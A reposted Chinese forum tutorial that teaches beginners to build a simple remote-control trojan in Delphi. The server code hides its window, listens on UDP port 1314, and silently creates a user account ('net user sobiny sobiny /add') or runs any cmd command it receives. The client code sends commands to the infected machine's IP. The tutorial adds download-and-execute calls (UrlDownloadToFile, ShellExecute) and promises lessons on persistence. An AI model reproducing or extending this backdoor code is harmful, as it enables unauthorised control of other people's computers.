发新话题
打印

[病毒/木马/外挂] 【转载】DELPHI木马DIY之简单服务端和客服端制作

【转载】DELPHI木马DIY之简单服务端和客服端制作

文章作者:上帝的禁区
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

DELPHI木马DIY之简单服务端和客服端制作

DELPHI写简单的控制木马其实一点都不难
为什么?跟我说的来做,你也会制作出自己的木马

一.我们先写一个服务端
我们先建一个工程,新建工程(如果你连新建工程都不会的话,那真的不用往下看了)

1.我们首先一步是要窗口不显示出来,原因?你如果喜欢窗口显示出来也OK好不?
view->units..->Project1->OK
在Application.CreateForm(TForm1, Form1);这添加一句
Application.ShowMainForm:=False;
这样,以后运行这个程序的时候窗口就不会显示了


2.我们添加一个控件 NNUDP
UMUDP(在internet这里,如果你是用的DELPHI7,那么你需要自己添加一下,OK,component->install packages -> add-> delphi7\bin\dclsockets70.bpl)
UMUDP 的Properties的localport改为你想改成的端口,我这改的是1314,OK,根据你喜欢的设置。
NAME 是UMUDP1


3.然后我们来添加事件,什么事件呢,就是ONDATERECEIVED
稍微解释一下,这个就是收到信息后的反映吧~~(由于我这全是自学的,所以我说的话可能和网络上或者课堂上的语言有出入,所以请各位行内人士体谅,以后不再作解释)

双击NMUDP1控件上的Events上的ONDATARECEIVED,然后右边的代码框就显示出一行
procedure TForm1.NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer; FromIP: String; Port: Integer);
我们添加一个声明
var
CtrlCode:array[0..250] of char;
(这个东西是最基本的意思了,看不懂的话我不作任何解释,以后也不对这种代码作任何解释)


现在在begin下面添加代码
nmudp1.ReadBuffer(CtrlCode,NumberBytes);
//读取收到的字符串到CtrlCode中,NumberBytes是字符串的大小(长度)
if CtrlCode='jianliyonghu' then   //如果CrelCode等于jianliyonghu
winexec(pchar('cmd.exe /c net user sobiny sobiny /add'),0); //执行命令(命令,0)0应该表示不产生状态吧,如果是网络上的另外的代码,有的是要出现一个黑黑的DOS窗口的.


{写到这儿,聪明的你应该知道该怎么变换命令了吧,如果我们改两句代码这样写
  if CtrlCode[0]+CtrlCode[1]='zx' then //如果前两个字符为ctrlcode为zx,那么执行
  begin
  mingling:='cmd.exe /c '+copy(ctrlcode,3,length(ctrlcode)-2);
  //mingling需要在上面声明一下,声明为 mingling :string; ,他的值为'cmd.exe /c '加上ctrlcode从第三个字符开始到ctrlcode长度减2的长度。
  winexec(pchar(mingling),0);
  end;
  //应该懂什么意思吧,我都说得这么清楚了哦,如果不懂估计你在网上应该也找不到资料了
  //其状态可以无限扩展,扩展到什么状态就看你自己的发挥了,我这只讲点简单的。}

欢迎大家访问邪恶八进制,里面有更多的更深的资料供大家
  
二.简单的服务端就讲到这里了,稍后我将为大家讲讲隐藏服务端,我先说说客服端制作:
1.我们先加几个控件上去
  edit 3个,edit1为你要发的IP,edit2为你要发的IP的端口 edit3为你要发送的数据。
  button一个,为按扭,发送消息就用这个塞。
  nmudp一个,呵呵,这个就不用说了吧,地球人都知道。
2. 我们为按扭加事件,Events的onclick(我觉得应该是点击吧)
  右边出现procedure TForm1.Button1Click(Sender: TObject);
  声明一个数组哦
  var
  ReqCode:array[0..29] of char;
  然后在开始写代码:
  begin
  nmudp1.RemoteHost:=edit1.Text;//目标IP为edit1的文本;
  nmudp1.RemotePort:=edit2.text;//目标端口为edit2的本文;
  StrpCopy(reqcode,edit3.Text);//把edit3的文本复制为recode的数组;
  NMUDP1.SendBuffer(ReqCode,250);发送recode到目标~~~~
  end;
  完毕,现在你生成这个客服端,在上面添上你中了木马的计算机的IP和你设置的端口,就可以执行你的CMD命令了哦。我是在本机上执行的。(因为我这计算机上网啊)
  本机测试一切正常,你呢?如果你成功了,那么恭喜你,你现在已经写出第一个木马了。
  没成功?那么也恭喜你,你又发现了自己的编程中的一个问题,再看看文章,再试试,一定会成功吧!!
  现在说说给新手朋友们的话:
  写程序啊,首先你一定不要怕难,其实写程序真的很简单,特别是现在这种控件满天飞的情形下。
  第二个就是,光看教程光看书是一定不行的,一定要自己动手写一次,写一次比你看5次教程5次书都有效!
  第三点就是,有一定的基础了后,就尽量不要用控件,多用用API,嘿嘿,你才会发现写程序是多么的乐趣。如果你用API熟悉了后,那么你以后不管是再学C++还是学习什么什么都有很大的帮助,相信我,虽然我也是一个新手。

  希望对有兴趣的新手朋友看了本文后对服务端进行无限括加吧!
  下面再提供几个有用的函数
  UrlDownloadToFile(nil, PChar(网络路径), PChar(保存路径), 0, nil)//应该明白了吧,就是下载文件,不过要在uses里面声明urlmon,
  ShellExecute(0, PChar('open'), PChar(程序路径),PChar(''), nil, 0)//执行程序。
  像修改注册表啊,建立FTP服务啊,以后再慢慢说。   

  现在看看都是5点多钟了,也准备睡了,下回将写一个关于客服端生成服务端的教程和服务端自动复制自身到系统目录,添加服务等的教程。明天见。
妖城欢迎您!

TOP

发新话题